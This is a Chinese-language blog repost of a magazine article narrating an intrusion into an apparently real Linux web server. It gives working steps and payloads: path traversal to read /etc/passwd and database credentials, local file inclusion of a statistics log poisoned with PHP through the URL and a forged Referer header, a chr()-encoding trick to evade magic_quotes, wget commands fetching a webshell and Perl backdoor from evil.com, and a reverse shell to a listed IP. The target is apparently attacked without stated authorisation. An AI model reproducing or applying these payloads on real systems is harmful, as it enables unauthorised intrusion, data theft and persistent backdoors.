对一台linux服务器的入侵测试

对一台linux服务器的入侵测试

本文首发《黑客防线》201001期,版权规作者和黑防所有,未经允许请勿转载。

前几天不小心看到了一个网站,存在几个漏洞但是因为一些漏洞利用的局限性,很难进行利用拿到shell,没想到最后是因为装了一套流量统计程序才拿到得shell。

确定文件泄露漏洞跟包含漏洞

Google搜索发现下载文件的url存在路径以及文件名,把路径换成”../../../../../etc/passwd”,成功下载到了文件,如图1,提交一个不存在的文件居然没有返回网站绝对路径不过没关系可以用相对路径,确定存在任意文件下载漏洞,于是就进行了一次检测。

图1

单纯的文件泄露漏洞往往不能直接进入后台,除非是登录页面的密码直接写在配置文件里,所以一般需要配合或通过文件泄露查找别的漏洞,比如mysql注射对于版本4.x的可以读到管理员表名列名,或者读到mysql的连接文件中的数据库帐号配合phpmyadmin、或者mysql远程登录拿shell,或者读出数据库连接文件的数据库帐号,配合社会工程学,尝试登录ftp、ssh等,再不行就是力气活了读源码找漏洞。

读取了数据库连接配置文件得到数据库的一个帐号,但是这个网站上面的种种尝试均告失败,存在MYSQL注射,但是magic_quotes_gpc=on,mysql版本为3.x,而且没有扫出后台,注射基本没什么利用价值,namp扫描一下端口发现开着ftp、跟mysql的端口,均没有成功登录,也没有发现phpmyadmin。

入侵似乎陷入僵局,好在又找到了一个本地包含漏洞如图2所示,提交一个不存在的文件,爆出了web绝对路径:

Fatal error: Failed opening required ‘../../../../../../../../etc/passwdx’ (include_path=’.:/usr/local/lib/php’) in /home/chinarevenue/en/frame_en.php on line 124

图2

现在关键就是上传或者是写入我们的代码然后包含执行了,看了一下网站有注册会员不过没有上传的地方,问题的关键其实就到了本地包含的利用上了,由于没有找到后台也没有找到上传页面,试了下包含日志文件也没有成功(日志文件路径可以读apache的配置文件获得),可能是太大了的缘故,后来发现日志文件超过1G。还有一种方法是通过包含/proc/self/environ文件,然后修改浏览器的User-Agent来写入php代码执行命令,但是这个服务器不能访问此文件。就在这个时候我们又发现了这个网站有自己装了一套统计系统,通过下载漏洞下载统计系统的配置文件,获得密码进入后台以便重置数据也就是清空/stat/data/detail.dat防止多次执行方便测试。分析其统计代码的关键js文件如下

if(!user) var user=”";

_dwrite(“<script language=javascript src=”+url+”/stat.php?user=”+user+”&style=”+style+”&referer=”+escape(document.referrer)+”></script>”);

function _dwrite(string) {document.write(string);}

很明显是记录了url跟referrer,且会保存在/stat/data/detail.dat文件中。

对于URL提交的测试

对于url的测试是在windowsXP 用IE进行的,因为我在Ubuntu下用firefox提交http://www.xxxx.com/?<?phpinfo();?>xxx会被记录成http://www.xxxx.com/?%3C?phpinfo();?%3Exx,用IE就不会对”<”进行url编码。

提交如下url:http://www.xxxx.com/?<?php system(“ls”);?>xxx,返回如图3一所示,很明显空格被url编码了,而且由于magic_quotes_gpc=on,根本没法被正确执行。

图3

为了绕过”<?php phpinfo();?>”中<?php后面的空格我们想到直接不用php这样提交<?phpinfo();?>就可以了,但是居然测试出了另一个匪夷所思的结果居然可以使用”<?php”,后面只要加上一个符号就行比如”<?php*phpinfo();?>”能够正确执行,如图4所示;发现这样的符号有好几个比如”^”、”+”、”-“等等,这个也算是个新发现吧。

图4

现在只是解决了一个空格的问题但是后面的空格如何解决呢?我们知道<?php `ls -l`;?>也能够执行命令但是代参数的命令带空格(ls跟-l之间),会被url编码记录到detail.dat文件中,不能正确执行,现在只能执行不代参数的命令,如果我们想通过wget下载个webshell或者nc等后门就不行了。但是可以提交一句话”<?eval($_POST[cmd])?>”然后包含,用客户端连接居然发现不能执行(<?phpinfo();?>可以解析说明php文件可以解析;原因见后面)。

后来想到给字符串复制不一定要用引号,比如说提交如url:

http://www.xxxx.com/?<?system(chr(108).chr(115).chr(32).chr(45).chr(108));?>xxx

就相当于<?system(“ls -l”);?>这样完美解决了命令字符串中空格跟引号的问题,随文提供一个c语言格式化输出的小程序。测试结果如图5所示。这样就完全可以自由注射php代码执行命令了。

图5

对于伪造refrrer的测试和实战拿shell

通过伪造浏览器中的referrer为恶意的php代码,同样可以达到上面的效果,而且更加方便简单,因为没有对空格进行编码,只需要bypass magic_quotes_gpc=on就可以了那只要通过提交 <? echo `ls -l`;?>这种代码即可。

伪造referrer可以用firefox的RefControl插件即可,如图所示,然后直接访问网站首页,就被记录到detail.dat文件中了,如图6、7所示。

图6

修改referrer为<? echo `wget http://evil.com/webshell.txt -O /home/chinarevenue/stat/data/x.php`;?>,访问网站首页。

然后访问http://www.xxxx.com/en/frame_en.php?link=../stat/data/detail.dat执行php代码。

访问http://www.xxxx.com/stat/data/x.php发现成功下载了shell,但是跟一句话同样不能正常执行。

既然能执行命令我们就反弹shell回来,

本地nc -lvvp 8080端口,然后修改referrer为:xxx<?echo `wget http://evil.com/backdoor.pl -O /tmp/.bc.pl` `perl /tmp/.bc.pl 119.180.55.170 8080`;?>xxx,访问首页,提交结果如图7。

图7

然后访问http://www.xxxx.com/en/frame_en.php?link=../stat/data/detail.dat执行插入的php代码

成功获得了一个shell,如图8所示。

图8

通过shell发现了webshell不能执行的原因是网站配置有问题,不能正常接收$_POST,和$_GET的数据,但是开了全局变量,写了个”<?system($ev);?>”;就当webshell用了。进一步的提权失败就不赘述了,检测完成。

 

posted @ 2013-08-06 18:21  holyes  阅读(1553)  评论(0编辑  收藏  举报